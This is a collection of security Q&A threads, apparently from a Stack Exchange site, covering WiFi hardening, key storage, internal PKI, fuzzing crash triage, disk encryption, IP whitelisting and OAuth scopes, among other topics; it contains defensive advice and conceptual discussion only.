Two-factor authentication has little to do with "air gap" in this case, and all to do with prevention of brute-forcing or password-guessing ("Something you know"), by requiring a second piece of information: "Something you have" (the app and its generated tokens).

The existence of the mobile app on your device + logging in from that device presents little in the way of a security hazard, unless of course your phone is already compromised, in which case the efficacy of two-factor authentication is not your primary concern.


What is the risk of giving USB drives as promotional items by a healthcare provider There have been a couple of instances where malware infected USB drives have been given away unknowingly as promotional items at conferences, e.g., IBM in 2010.

Besides this, if a healthcare company were to give away "branded" USB drives, what other risks might be involved with such giveaways?

Further, if the recipient of the drive downloads their personal medical information to the drive, and it gets lost, can the healthcare provider be implicated?

The risk to the recipient is that there could be anything on there. The biggest risk to you is probably reputational damage, as you are just providing empty USB sticks, not delivering them with sensitive information on. I would be surprised if they could hold you liable for loss of their data - I don't know of any cases thus far where this has happened (however I am not a lawyer, not do I play one on TV)

Mitigation options:

Scan every USB stick before the giveaway. This is time consuming so will depend on volumes
Ensure your provider is contracted to scan every stick, with penalty clauses for failure
If you are worried, add a disclaimer to confirm that you make no warranty for the sticks


What are some best practices for WiFi security, in light of recently discovered vulnerabilities? In the past few months, we've seen the revelation of several WiFi vulnerabilities (eg KRACK).

It doesn't look like NIST has updated any of its best practices.  How should we configure our enterprise WiFi to be secure, in the absence of such official recommendations?

With all the recent WIFI hacks, how we should configure our organizational Wifi security configs and version?

You may need to be a bit more explicit with your concerns. You mention KRACK; I posted this answer about the impact of KRACK. Over a year since that post and there are still no reports of this exploit in the wild. KRACK is in most practical terms a non-concern at this point. Could this change? Sure, but not likely.

Only other recent "WIFI hack" I am aware of is the hashcat attack on PMKIDs on wireless networks using PSK. Mitigations here are to either use longer, more complex PSKs or switch to 802.1X.

While it isn't a hack, WPA3 has been mentioned in a number of media channels and is the source of a number of these discussions I have had in the past months, so let me point to another of my answers that talks about WPA3. The majority of that answer still holds true despite some minor changes from the WFA (for instance, I believe OWE is now optional as well).

  How we can set our organizational enterprise WiFi to be secure, if there no best practices to follow?

All the major enterprise wireless vendors maintain their own best practice document(s) that contains security and design recommendations. Here are some examples: Cisco, Aruba, and Ruckus.

While many of the recommendations in vendor best practice documents are specific to their platform, the principles often can still be applied. But some general guidance I would give to any deployment I am involved in would be the following:

Use 802.1X over PSK. Depending on your security requirements, pick the first option from below EAP methods:

EAP-PEAP or EAP-TTLS with proper client/supplicant configuration and two factor authentication generally considered most secure.
EAP-TLS if you can't use the above with TFA.
EAP-PEAP or EAP-TTLS with proper client/supplicant configuration - generally sufficient for non-mobile devices and doesn't involve the additional complexities of client certificates used by EAP-TLS.

If you must use PSK, make it long and complex (but length trumps complex if you must choose between the two).
Disable fast roaming/transition/PMK caching features on infrastructure if not necessary. This will slow down client connections and increase load on RADIUS servers.
Disable the use of WEP or TKIP (often tied to WPA) - not only necessary from security perspective, but from performance perspective as well (802.11n or newer networks disable data rates higher than 54Mbps if either is in use).
Enable mandatory 802.11w (protected management frames) if your clients support it.
Require use of DHCP by clients if possible.
Enable client isolation features if available and your wireless clients do not need access to other wireless clients.
Enable rogue detection features to notify when networks are found using the same SSID(s) as your network.
Keep your clients and infrastructure patched.


which places are used to store the the encryption key? So i have an encryption key which i will use to encrypt data or sign data with it. But in order make it possible to ensure the data integrity, i have to keep the key secret. So i thought of spliting the key into many pieces and place them in different locations, but could only think of few.

1.Store it in the same server of the application

i will be storing the key in applications configuration file, which will be stored outside of the application public file and will be imported into the application.

2.Store it in the database

having a piece of the key inside the database and will be fetched by the application when needed.

3.Store on a different file server.

application server will do a call to a another server to fetch a piece of the key. The communication between these servers will be RSA encrypted.

4.Store it in RAM

seems like a good idea, but requires to alot of maintenance, need to be added to RAM manually at each startup.

5. use AWS KMS ?

this something i just discovered recently, looking into it but looks promising how they handle the keys and their ways to ensure integrity, would love to hear some thoughts from people who have used AWS

But all this is weak, if the application server is compromissed then the key can be collected, and i have been searching the web for more ideas, but to honest they all seem to be weak and desperat measures.

Other Places are:

TPM
CPU Register (implementation: Tresor)
HSM
Security Tokens
many other Hardware based storages


How many combinations of md5sums can be computed from a call to random() in PostgreSQL? Problem space

I'm way out of my pay grade, I'm trying to figure out

How much randomness does a call to random() actually provide in PostgreSQL?

SELECT random();

Whether or not you can reasonably guess that much randomness?

What I know

I know it's not as random as people want it to be, it's just inefficient. Having concluded long ago that md5() is a waste of time, I can just compare the sizes.

--produces "8" (in bytes)
SELECT pg_column_size(random());

--produces "36" (in bytes)
SELECT pg_column_size(md5(random()::text));

That's a lot of wasted space. I know we can store md5() in UUID which will take 16 bytes. But, that's still 8 bytes of waste space from our original 8 byte random().
I know PostgreSQL currently generates random numbers like this,

result = (double) random() / ((double) MAX_RANDOM_VALUE + 1);

PG_RETURN_FLOAT8(result);

And, I know that PG_RETURN_FLOAT8(result) is a macro that calls Float8GetDatum(result).
The docs on random() say this,

  The characteristics of the values returned by random() depend on the system implementation. It is not suitable for cryptographic applications; see pgcrypto module for an alternative.

I believe that 8 byte float, is an Standard 754 IEEE float under the hood, also from the docs.

  The data types real and double precision are inexact, variable-precision numeric types. In practice, these types are usually implementations of IEEE Standard 754 for Binary Floating-Point Arithmetic (single and double precision, respectively), to the extent that the underlying processor, operating system, and compiler support it.

I know that the full precision of IEEE 754 supports the following states that our random() does not support.

Negative numbers
Not-a-number
Infinity
Negative Infinity

I know that IEEE reserves 11 bits for the exponent, and we're guaranteed to have that in a position that yields numbers in the range of (0,1). From the docs,

  random value in the range 0.0 <= x < 1.0.

Not sure how accurate (I would prefer this checked with the above information), but for an 8-byte double the docs say

  variable-precision, inexact  15 decimal digits precision

With all of that is anyone fluent enough in 754, and C to actually tell me how random a call to random() really is.

Why I am asking

I made a suggestion to generate session keys not using md5(random()::text) stored in text, but instead to use pgcrypto's gen_random_uuid() now I'm wondering how much it matters.

random() can have at most 64 bits of significance, since it's a double precision float. That assumes perfect random number generation and all that.

We only produce a random significand, the sign and exponent is fixed. The fractional part of the significand is 52 bits.

So ... about 2^52 possible values.

It looks like you're thinking of the rainbow table as a mapping of the md5 of the text representation of a double precision float back to the original float. Assuming you're using extra_float_digits = 3, that'd take up roughly 128 * 2^52 bytes, so a couple of exabytes, in exchange for reducing your search space from 2^128 to 2^52. Not that exciting, really.

I'd still want a good reason not to just use a uuid-ossp's uuid_generate_v4(). How big can your session tables really be? You know PostgreSQL has huge per-row overheads right?

Separately, you don't have to use uuid to store an md5, or format it as text. You can also use bytea. It'll be packed into a short-varlena Datum which has a 1-byte length so it'll take up 17 bytes. (See: VARSIZE_ANY in src/include/postgres.h, and src/backend/utils/adt/varlena.c).


Do PHP redirect information disclosure also apply to other languages or framework? When redirecting using header("Location MyPage.php"); in PHP, any code present after will be executed. So, if you're using this as a way to avoid user accessing pages where they should be logged in, the content of the page will still be processed and sent to the client. Using a proxy, you can set that despite returning a 302 error code, you'll also get the content of the page.

My question is, what other languages or framework have this issue ?

Likely (almost?) any framework which does not stop executing the code after the Location header is sent behaves that way. It is perfectly fine from the perspective of HTTP that a response with a location header also has a HTTP body. It is also perfectly normal that the web application might need to do more processing even after issuing the redirect.

  So, if you're using this as a way to avoid user accessing pages where they should be logged in, ...

You should never treat  a user as authenticated if the user is not actually authenticated. Simply adding some header field to the HTTP response will not stop execution of the current code.


IPS fail close vs IPS fail open, what are the risks and benefits? If a desicion is to be be made on selecting a mode of fail for an inline IPS that is protecting servers, what are the criteria that should be considored for selecting one of the failure modes:

1- Fail close: if the IPS fails, it will disconnect the server it is protecting.

2- Fail open: if the IPS fails, it will pass through all traffic to the server including any possible attacks.

What are the risks and benefits involved in both scenarios?

The way to look at which is better for you is to work out what your risk appetite is.

If you must have service at all costs then you don't want to fail closed, as any problem with that IPS will cause a Denial of Service. That is a very rare scenario though - the majority of implementations are configured to protect the server and the data on it.

This is where defence in depth comes into its own. You filter some traffic (eg everything but ports 80/443) using a hardware device - this gives you speed and the ability to remove the vast majority of the traffic that may impact you.

Then use a firewall to limit connections to only those you need. If it can do stateful inspection, this can be used to limit the types traffic.

Then you harden your web server, and locate it in a DMZ which is segregated from your internal network and databases by further firewalls or access controls on routers.

etc etc etc

Layering gives you the ability to cope with the failure of one component, so in your case, if your IPS fails you can make a call based on how secure your other layers are as to whether you fail open and cope with a reduced level of protection until fix, or fail closed and suffer an outage.


How to diagnose and handle unexplained open network connections? I was using Wireshark in order to check the activity of an unknown client in my home network, and to my surprise, I found some strange connections established by my own computer. I disconnected all clients from the network but myself, rebooted my computer, logged in as root, didn't start any programs and ran wireshark again. To my surprise, the connections were still being made:

I'm 192.168.25.204

uTorrent transport protocol...? I don't have any torrent clients opened. ps -e output:

http://pastebin.com/WsCJ4N2V

And according to Debian's built-in whois those IPs belong to SKY and AT&T. Other IPs that appeared later also belong to AT&T, and others belong to random companies in China and Taiwan.

How should I diagnose this and what could/should I do about it?

Looking at the packet capture you've got there, it looks like your computer is rejecting the connection attempts (the port unreachable messages), so it's not necessarily that there's something running on your system causing the traffic, more that other computer are trying to reach you.

What's apparent though is that there's no firewall restricting access between you and those hosts.  Now you've got a RFC 1918 address (192.168.25.204) so usually traffic shouldn't be able to route to you directly.

Do you have port forwarding or address forwarding setup on your firewall?  If so I'd recommend restricting it when you don't need it.

Apart from that have you run bit-torrent on they machine in the past?  If so it could just be other systems in one of the torrents you were part of trying to connect to you based on old information...


Exposing employee numbers, how bad is it? I've realised that there is an easy way for someone who is external to figure out valid employee numbers at my company.
And I'm fairly sure they could then be linked to a full name easily too.
I've raised this as a concern with our security team as I don't particularly like the idea but it's been brushed off as a fairly harmless thing to know valid employee numbers. I feel my concern over linking it to names was either badly worded or skipped because it wasn't addressed at all.
Am I right to be concerned or am I overthinking it? I don't really want to push back or do further testing if I'm being irrational.

I would say that is a significant risk for several reasons, being:

Even if employee numbers are not currently used as an ID method, they might be used in the future for this purpose. Some companies will use an employee number as a username as well, so if the attacker can find this and correlate it to a person's real given and surname then this would empower user enumeration.

When end-users call or are called by support staff, it is far more convincing when the caller has access to even basic knowledge such as the employee's number. As most people will presume that only authenticated + authorized individuals will have the number it could allow an attacker to perform an social engineering attack.

Phishing and malicious emails can be made more convincing as well; the attacker can use the number and the person's name in the email.

If the employee numbers are easily found, there might be more severe exploits that have gone undetected. In addition there might be an exploit tied to how the numbers are found which is more severe but as no one has looked at this issue it has gone unnoticed.

If the employee numbers are meaningful (e.g. contain division, can infer which employees have been there longer due to lower numbers, type of staff such as contractor or part-time etc...) then this would also help immensely with OSINT for a targeted attack or spear phisihing.

If anonymity is expected by staff, this could violate this expectation. I doubt this is a major issue as it is easy to find where someone works through Facebook, LinkedIn, etc...

Hope this helps. My only advice as for pushing further on it or not is just to clearly communicate your concerns (with written evidence of course) and respect the decision by whoever is authorized to make it.


Is there a way to guarantee removal of data after closing Facebook / Gmail / Dropbox account? Of course my default way of thinking is: deleted: true while keeping all the data in place.

In fact I would be interested in knowing what standard operating procedures are in place for retention of personal data. Or maybe I shall write directly to the HQ?

I would be really interested in knowing how to guarantee that my data after I close the account is irrevocably destroyed.

Facebook: https://www.facebook.com/help/224562897555674
Google: https://support.google.com/accounts/answer/32046
interesting case of "self incorporation" and selling personal data - http://jenniferlynmorone.com/

In other words the question is - how to close account and be sure that data is actually removed?

It is almost certain that whatever you do, your data will not be irrevocably destroyed.

Even if the organisation you trusted with your personal data had the best of intentions it would be an enormous effort to really physically delete all of your data from all the places it will have been duplicated to, including backups and SSD spare sectors. No organization can economically justify that effort for an account you didn't pay anything for to begin with, so that will not happen. The best you can hope for is that they will actually delete the data on the OS or DBMS level, and the remnants on the physical media will later be overwritten when the physical media location happens to be reused.

But even that is far from certain. Your data may already have been incorporated in other databases as consented by you by clicking on the Accept button when you signed up, and remain there even if your account is destroyed. The organization may be under a (possibly secret) obligation from the authorities to preserve deleted accounts for legal investigation or information gathering by intelligence agencies. It may have a policy of keeping the data from deleted accounts for a few days, weeks, months, or years just in case it'll be needed again. You have no way of knowing. More importantly, you have no way of verifying what they have done. You can only trust and hope.


Simplest solution to addressing SSL certificates on internal applications I am having a discussion with a few coworkers about the best way we can handle SSL certificates within our organization. We have some internal applications that are not using any SSL certificates at all.

My thought is this:

Create an offline, trusted, root CA in a VM
Use this CA to issue certificates for our applications
Use GPO to push the root CA onto all systems so it is trusted

Are there any drawbacks or pitfalls to this approach?

You're on the right track.  Since you mentioned GPO, it sounds like you have a Microsoft Active Directory.  Therefore, the easiest would be to leverage Microsoft Active Directory Certificate Services (ADCS).

Definitely want an offline root CA if you're supporting an enterprise environment.  This typically means deploying a two tier architecture.  Meaning there'll still be the offline Root CA but another server will be configured as the Issuing CA and will remain online.  There's a great tutorial for setting up a two tier architecture here.

FWIW, ADCS is fairly easy to setup and deploy.  The difficult part is fully understanding all the moving parts so it can be properly configured for your network.  Such items include how often the revocation lists are updated and setting up the appropriate level of overlap, where will the revocation lists and certificates get published, are there any legacy applications/clients that need to be supported, etc.  Luckily Microsoft has been doing a great job creating documentation for ADCS.  There is a Design Guide here as well as a document for securing a Microsoft PKI here.

Using a GPO is the right approach for pushing out the certificate from your Root CA to domain joined systems.  Have a plan for non-domain joined systems too such as alternative platforms (Apple, *nix).  This goes back to my prior comment about planning where the certificates will be served along with the revocation lists.  AD is great, but also consider a more accessible web server.

All of this will allow you to issue SSL certificates (and many more!) that will be trusted by internal clients or more specifically anyone that trusts your Root CA.


Best way to triage crashes found via fuzzing, on Linux? When doing fuzz testing, it is easy to end up with many bugs (many crashes).  This makes it important to have a way to triage each bug that's detected, so we can prioritize them and focus our effort on the ones that are most likely to represent exploitable security vulnerabilities.

Are there any tools to automate the triaging process?  I'm most interested on tools for Linux.

On Windows, we have the !exploitable analyzer, which analyzes a crashing program execution to determine whether it represents a bug that is probably exploitable, probably not exploitable, etc.  Is there anything like this for Linux?

Here's the best heuristic I know of.  Run the program under Valgrind memcheck, and then look at the warnings that Valgrind outputs.  We can classify them into a couple of categories:

Invalid write: Look at the address.  If the address is small (say, between 0x0 to 0xFFF), then this is a NULL pointer dereference: probably not exploitable, low priority.  Otherwise, this is a write out-of-bounds: potentially exploitable, a serious high-priority bug.
Invalid read: Look at the address.  If the address is small (say, between 0x0 to 0xFFF, say), then this is a NULL pointer dereference: probably not exploitable, low priority.  Otherwise, this is a read out-of-bounds: could be exploitable if you're unlucky, but often these bugs are not exploitable; call it medium-priority.
Invalid free(): This could be a double-free bug, and there's a significant chance it could be exploitable.  High priority.
Mismatched free() / delete / delete[]: Potentially exploitable, depending upon the circumstances.  Medium priority.
Conditional jump or move depends on uninitialised value(s): While such bugs can sometimes be exploited, exploitation is by no means guaranteed, and it is not likely to be easy.  Often, these are benign false positives.  Medium to low priority.
Syscall param ... points to uninitialised byte(s) or Syscall param ... contains uninitialised byte(s): Same as above.  Medium to low priority.
Source and destination overlap in ...: Very unlikely to be exploitable.  Low priority.
Memory leaks: (e.g., Still reachable, Definitely Lost, Indirectly Lost, Possibly Lost): Very unlikely to be exploitable.  Low priority.

This is the best heuristic that I know of.  I don't know of any tool that implements it for you, but it's not too hard to script up yourself.  Does anyone know of a better triaging heuristic or tool for Linux/Unix systems?


Is it possible for my ISP to hack into my android phone? Is it possible for my ISP or cellular provider that provides data on a 3g or 4g network to hack into or install malware on my brand new Android phone and read my messages on WhatsApp?

Given that even brand new android phones often have yet unknown or even known security vulnerabilities it might be possible for someone who can sent data to your phone to trigger some externally accessible vulnerability in the code from outside. Through such vulnerability (or a combination with another) the attacker might even get root privileges on your phone and might be thus able to modify applications or inject himself into applications so that even reading of encrypted data is possible.

More likely than an external accessible vulnerability is that you have ISP specific applications on your phone which then only need some local vulnerability to get deep access to your phone.

Also, in many countries it is common that users get the phone from the mobile provider in the first place - and of course this provider might have added a backdoor to this phone and thus does not even need to exploit some vulnerabilities.

Note that none of these possibilities suggest that such attacks are actually done, only that these are possible. In most countries such activities by an ISP would be illegal. But even in such countries it is usually legal if the  provider helps law enforcement to bug your phone if they have the appropriate warrant.


How is Facebook determining my location when I don't have the app installed? I have done everything that I can think of to prevent companies like Facebook from knowing my actual location, yet recently I've started noticing extremely specific ads from them.

For example, I went bowling for the first time in years, and hours later started seeing bowling advertisements on Facebook. I believe they only knew this due to my phone being physically present in a bowling alley for an hour.

I initially assumed it was just paranoia on my part, but it has happened several more times with stores that I have visited.

Things I have done

Uninstall Facebook app
Disable location services in iOS
Being very cautious of what I type into search engines
Avoiding entering store locations into google/apple maps
Avoid joining public wifi

I've checked with my cell phone carrier, and they 'promise', that they aren't selling my location.

What other mechanisms could be leaking my location?

Update:

Going into iPhone location services, I discovered that I do still have the 'Facebook Messenger' app installed, and it is by default configured to share my location 'Always'.

Here's a couple of channels that may leak your location:

friends tagging you in photos
friends being in the same place as you (facebook finds friend groups, so if one of your friends is at bowling then FB may just try to advertise bowling to the whole friend group)
other sites may have "share with facebook" buttons which report your current ip to facebook

You can test these hypothesis by:

not appearing in photos
going out to somewhere non-typical alone
not opening internet while being outside

Man, hiding from social networks is hard :(


Why are no CD crakcs required to run games without a physical disc? I was just wondering, when I downloaded an old game that the publisher released meanwhile for free with an no CD crack, why such a file is required to play without a CD?

As I had to install the game with an ISO file by using a virtual disk drive, I was just curious, how it is prevented to not just fake a physical disk with a virtual diskdrive, instead of having to use a NO CD crack.

So how does this security concept work?

(I wasn't able to find a tag that might fit for this, so please feel free to add a more fitting tag for this. Thanks in advance)

Games that shipped on physical disks often checked to make sure the disk was in the CD-ROM Drive before allowing you to play. It was a simple and somewhat effective way to ensure the average consumer didn't pass the CD around to all their friends and still keep playing the game.

This was also done with Floppy Disks, and sometimes asking the user to enter the first word from a specific page in the accompanying player's manual.

The crack you mentioned was often done by someone looking to pirate the software. They'd modify the game's executable to jump over the code that made the CD check. If a studio later wanted to remove the check, but not redistribute the entire game with the art assets and everything, they could do the same.


Can personnel who manage AWS datacenters access my ec2 instances and monitor data in use in my application? I am building an Express (NodeJS) app and plan to host with AWS ec2. I want to protect my users' data as much as possible and am considering even outlier scenarios. And so the question arose:

The ec2 instances are physical managed in some Amazon datacenter and there are obviously personnel who manage those facilities who have physical access to those machines. Can they theoretically access the applications residing on those servers and view/monitor/steal sensitive data that is currently in use in the application?

Should this even be a concern? If so, what can we do as developers to mitigate this?

Yes, they can theoretically access or monitor the data.

No, this should not be a concern.  Their incentives (organizationally and individually) to provide a stable, secure service are certainly greater than their incentives to steal your application's data, out of all of the millions of virtual machines and applications that they manage the infrastructure for.

As a developer, there is very little you can do to mitigate this, outside of not hosting with Amazon.  Or any other cloud or managed service provider.  Or collocation facility, for that matter.

Ultimately, any infrastructure that is out of your control is, well, out of your control.  This should not keep you up at night though.  It's like spending your time worrying about being abducted by aliens.  While the risk is theoretically possible, you would get more value for your time by focusing on just about any of the more mundane and realistic risks that your application will actually be in danger of falling prey to, like any of the OWASP Top 10.

Steps you can (and should) take:

So, are there steps that you as an application developer can take to protect your data despite these realities?   Sure, there are several things you can do.

The most basic (and possibly obvious) is don't collect or keep any data you don't absolutely need, and purge the data you do keep as soon as you can.  Less data means less to lose in an attack.

Second, protect the data your application uses.  Start by protecting it in transit.  Use HTTPS/TLS for communications between your application and the users.  This is an effective and inexpensive way to protect it from anyone who has access to the data center network to sniff traffic on the wire.  Protect it at rest as well.  If you have user passwords, protect them with a slow hash algorithm like  bcrypt.  This way, even if the data is accesses, it can't be easily abused.  For other sensitive data you can look at encryption, and major cloud providers these days (Including Amazon AWS and Microsoft Azure) offer cloud-based HSMs for protecting encryption keys.  While still not foolproof, it at least guarantees that someone who gains access to your VMs or disk images won't also capture your encryption keys.

To sum up, there are always steps that you can take that will make your application and data more secure, even when you don't control the infrastructure.  It still boils down to understanding your application and business needs, the realities of how and where it runs, and then threat modeling it correctly for its purpose and environment and mitigating appropriately. From there, following standard secure design, development, and operational practices will help to ensure that your application and data are as safe as they can be.


OAuth 2.0: what's stopping a client from lying to the Resource owner about scopes I'm seeing token scopes as more of a contract between what a third-party application can do on behalf of some user's consent.
Therefore, let's say a client asks a Resource owner to authenticate and includes scopes telling the user it's only going to be able to read their data.
Surely the client can just go ahead and request a token with the * scope anyway and simply not tell the user. Is this not breach of that contract?
The client can then go ahead and not only read a Resource owner's data but also write it etc.
Therefore, is it simply down to the Resource server to attempt to restrict the scopes available to the client on behalf of the user? Which would have to be a developer-implemented thing built-in on the Resource server?

TL;DR: You rely on Authorization Service for issuing a token with correct scope(s). In "paranoid mode", the Resource Owner can introspect the token for granted scopes and allow or deny access on that basis.
There are two entities involved in this process: Authorization Service (AS) and Resource Owner (RO). AS issues access tokens to the client after successfully authenticating the resource owner and obtaining authorization.  RO grants access to a protected resource based on the access token presented by the client. Even if the AS and RO might be physically under "one roof" (same server, same app, same process, ...), they have different responsibilities.
Management of scopes and making sure the client doesn't get a token with a "wider" scope than allowed is the responsibility of AS. Resource Owner should not be involved in validating the scope granted by AS. From oAuth spec:

The authorization and token endpoints allow the client to specify the
scope of the access request using the "scope" request parameter.  In
turn, the authorization server uses the "scope" response parameter to
inform the client of the scope of the access token issued.
The authorization server MAY fully or partially ignore the scope
requested by the client, based on the authorization server policy or
the resource owner's instructions.  If the issued access token scope
is different from the one requested by the client, the authorization
server MUST include the "scope" response parameter to inform the
client of the actual scope granted.

On paper, this is the answer to your question. You rely on AS to do its job.
In a less than perfect world with bad actors, Things Happentm
If the client asks for access with a wide scope and the AS policy allows granting that scope, the client has to be authorized for this grant to succeed. The step of doing so involves authentication of said client. How this happens depends on the chosen oAuth flow (grant type) and the implementation specifics of AS, RO and the client.
The various grant types and associated implementation nuances of oAuth 2.0 resulted in a wide attack surface. A number of Best Current Practices (BCPs) have been issued over the years to highlight some of these issues. oAuth 2.1 (currently in draft) is attempting to rectify this by removing all grant types other than authorization and removing a number of other loopholes.
If the AS sticks with authorization grant type as the only allowed grant and the AS is properly implemented, a user will have to explicitly provide their consent to granting access with requested scopes. Still, it is certainly possible for a client to misrepresent this in UX terms, especially in situations where AS doesn't strongly enforce the presentation of consent and AS/client boundary. Moreover, an attacker could redirect the client to their own AS and play from there. Finally if the access token gets issued with a wide scope despite AS policy prohibiting this, what can the Resource Owner do?
The RO has limited recourse. It can introspect the access token and find out the scope(s) associated with the token. This step requires AS to support the introspection service and the caller (RO in this case) must be authorized. This is in addition to the access token being introspected:

the endpoint MUST also require some form of authorization to access
this endpoint, such as client authentication as described in OAuth 2.0
[RFC6749] or a separate OAuth 2.0 access token such as the bearer
token described in OAuth 2.0 Bearer Token Usage [RFC6750].  The
methods of managing and validating these authentication credentials
are out of scope of this specification.

If you can jump through all of these hoops, then you're almost there. All you have left to do is create a policy-like construct in your RO that will somehow know when a particular client wielding an access token is exceeding their "ask" (requested scopes) based on the introspected (actual) token scopes. Note: you can't know the requested scopes so it'll have to be a blind-ish "deny if scopes = ... when client is blah" type of policy.


ICO compliance and Google Cloud SQL I have a basic simple question for which I couldn't find anywhere.

  Is is possible to use Google Cloud SQL services and still retain the
  regulations from ICO and other similar requirements?

I will not be storing any credit card or bank account information, will only store the PayPal (as current confirmed payment processing method) email and/or 'MerchantID'. The concerns are addressed only towards information regarding the registered individuals like: names, addresses, National Insurance Numbers and UTRs(which are for UK but their world wide equivalents will be stored as well) and general business information.

This document may help you: http://www.ico.org.uk/for_organisations/guidance_index/~/media/documents/library/Data_Protection/Practical_application/cloud_computing_guidance_for_organisations.ashx

I've only skimmed it, and a while ago, but I remember an important principle was having contractual agreements in place with your cloud provider.


Is encrypting the FireFox folder with EFS protecting saved passwords in case of someone accessing the hard drive? What I want to do:
Use the "save password" feature in FireFox (on Windows 10) without using FireFox's master password feature.

What I'm afraid of:
Someone stealing my laptop or getting access to my hard drive in a different way without getting access to my Windows account password.

Approach:
Using EFS to encrypt the folder %AppData%/Mozilla/Firefox.

Additional information:
Firefox stores the passwords in a file called logins.json (located in the profile folder). They are encrypted but the secret to decrypt them is in a file called key4.db which is located in the same folder.

Is this a decent alternative to using FireFox's master password feature for the described situation and threat model?

For the specific scenario you outline (theft of your computer or hard disk), that will probably work. Note that EFS is based on your Windows password, and Windows' password hashing is incredibly weak by modern standards, so your password will need to be extremely good to prevent a dedicated attacker from brute-forcing the hash.

Additionally, EFS provides protection against a malicious (or compromised) program running in another user account on the same machine. If you care about that threat, then EFS is probably the way to go. However, be aware that EFS leaks some information about encrypted files (specifically, the file metadata like access time, file size, and so on) so make sure you don't care about that if you use EFS as your only layer of encryption.

A better option if you don't care about the same-machine-cross-user threat is BitLocker volume encryption. Although originally only available on the most expensive Windows editions and requiring hardware support, these days I think all Windows editions that support EFS also support BitLocker, and you can skip the TPM by using a boot-time password. This password is hashed far more securely than Windows user account password hashing. Additionally, BitLocker will also protect all the other sensitive data you might have outside of your web browser, like passwords/tokens stored in other desktop apps, documents, and multimedia files you keep electronically, and so on. There are lots of guides online for doing this; https://www.howtogeek.com/howto/6229/how-to-use-bitlocker-on-drives-without-tpm/ has a pretty good walk-through.


Is IP address whitelisting useful if the IP address is not “secret”? I'm working on an application that will have access to API keys supplied by our users. The application makes API calls on behalf of our users.

The API we're using allows users to whitelist IP addresses that can use their API keys. I was thinking of telling our users to whitelist the app's IP address in order to add a further layer of security, so that only requests coming from our IP address would be allowed.

But I've read it's fairly easy to spoof IP addresses and considering I'm going to be telling our users what IP address to whitelist (meaning, a bad actor wouldn't have to work too hard to see which IP addresses are valid), I'm wondering if this is even worth the effort?

If a malicious actor were to somehow get their hands on the users API keys, would IP address whitelisting really add any meaningful layer of security? Or would this just be a minor inconvenience at best for the bad actor?

Thanks!

But I've read it's fairly easy to spoof IP addresses

This is where you are mistaken. It is easy to connect to a website so it sees an IP address that is not your own by routing through a proxy server, but you cannot spoof an arbitrary IP address. For the TCP protocol, which is in all likelihood what you are using, it is simply impossible to spoof an IP address without compromising a large portion of the very backbone of the internet itself.

The reason for this is that TCP uses a handshake to establish a connection. First, the client sends a SYN packet. The packet contains the source IP. The server then responds to the specified IP with a SYN+ACK packet, after which the client finally sends out an ACK. While it is technically possible to spoof the source IP, it would result in the server sending the SYN+ACK to the spoofed source address which, naturally, wouldn't be expecting it and would refuse the connection. Because traffic can only be sent after the handshake is completed, only genuine source IP addresses will work.

  would IP address whitelisting really add any meaningful layer of security?

If an attacker who has stolen the API keys can only use them to log into your service, then whitelisting your IP does not provide any security improvements. After all, an attacker will connect to the whitelisted address in order to (ab)use the stolen API key anyway. If instead the worry is that the attacker will create a false copy of your site (e.g. an MITM attack) and attempt to get your application to send the API key to them, whitelisting the address will still not help. Instead, you should use TLS for all communications and hardcode the TLS fingerprint in the application. That way, your clients can be ensured that the application will refuse to connect to a non-genuine server.


Did KeePassX ever have an audit funding? Did KeePassX ever had an Audit Funding like ex.: TrueCrypt? Or any other password manager?

The  news page from KeePassX lists several new versions, but there is no text about a funding campaign. Also if you search the web, you won't find anything. So I assume there was no funding campaign so far.


role based site security - the nuclear missile condition So I'm in the process of working on part of our new role based site security system and have come up to the "nuclear missile" condition.

The system is based around the idea of grouping, with the ability for users to be implied to be in groups based on current groups, like so:

Tom is a master Cake Maker
by putting him in the Cake Maker group, it also implies that he is in the baker group, thus he doesn't need to be physically put in that group.
By implication of being in the baker group, he could be put into any other baking sub group.
If tom became CEO of his bakery, he would be taken out of the baking group and be put in the CEO group, which then implies he has access to all groups (baking, cake making, etc).

The "nuclear missile" condition is thus: I am a web developer, thus i need to have access to all groups so i can test for various conditions and bugs that may occur during the lifecycle.  But there also might be sensitive data that I shouldn't be looking at, this might belong to the HR group or the Finance group. By implementing the nuclear missile system it would mean for me to get access to the live pages, someone from the HR group or Finance group would have to provide their password at the same time as mine.. 2 password fields on a page.

This is quite a fun solution, but i'm not convinced altogether practical.  How do you generally protect rogue system developers against sensitive data? do you hash anything sensitive and only reveal if the person is actually a member of the group that belongs to the data.

do you even care?

A similar solution is used for emergency cases, often called a 'break-glass' solution and it typically requires a separate administrator level account, with a password split into two halves, and documentation on these passwords held in safes (usually IT's and an executive safe)

I don't think your use case qualifies as emergency, as it could happen pretty often, so what you find is much more common are controls implemented at the personnel level, including:

more stringent vetting
logging of everything privileged users do

This allows work to carry on as normal without being impacted by intrusive security controls, while also protecting the company.

Of course the above holds for developers with access to live. For developers running BAU tasks, the preferred method is for them to only have sanitised data. They would take the customer account database, generate replacement names and addresses and use these in Dev, UAT, OAT and Pre-Prod environments so Devs never got access to the live environment.

Over the last 16 years I can probably count the number of organisations that do that on the fingers of one hand, so go back up and use vetting and logging. Sorry, but that's the way it tends to work.


iOS encryption and performance iOS file encryption deploys many layers of encryption;
There is the AES-256 accelerator
encrypting general flash memory with the per-file-, UID-, and GID keys.
There is Data Protection on the software level further encrypting with unique file keys
 which are wrapped with class keys etc.

How is performance taken into account with this heavy load of encryption?
Is it all symmetric encryption?

Cryptographic operations are complex and can introduce performance problems and also on mobile devices, battery life is another resource need to be critically managed. Encryption of data is deeply built into iOS.

iOS security documentation (page 9) goes in some detail on explaining how the encryption mechanism works.

Is it all Symmetric Encryption?

Yes, iOS uses AES algorithm with 256 bit keysize.

How is performance taken into account with this heavy load of encryption?

Quoting from the document.

  Every iOS device has a dedicated AES 256 crypto engine built into the DMA path
  between the flash storage and main system memory, making file encryption highly
  efficient.

Thus, by using a hardware encryption engine, and integrated at the very basic IO level helps in getting the performance and also in return saving battery life.

EDIT: In Blackhat Europe'15, an excellent talk was given on Disk Encryption on mobile devices (iOS and Android). The whitepaper for it covers encryption in iOS in very simple and straightforward manner.


Decrypt hash using dicionary attack Let's consider that I'm the attacker and have access to hashes of passwords of a given database against which I will attempt a dictionary attack.

My question is: Will I be able to find out by reverse engineering how the primitive works once I generate the hash that matches any of the hashes in the database? And will I then manage to find all passwords matching the hashes or do I need to compute until I find another collision?

In other words, after first password cracked, is it 1 - 1 or N - N.

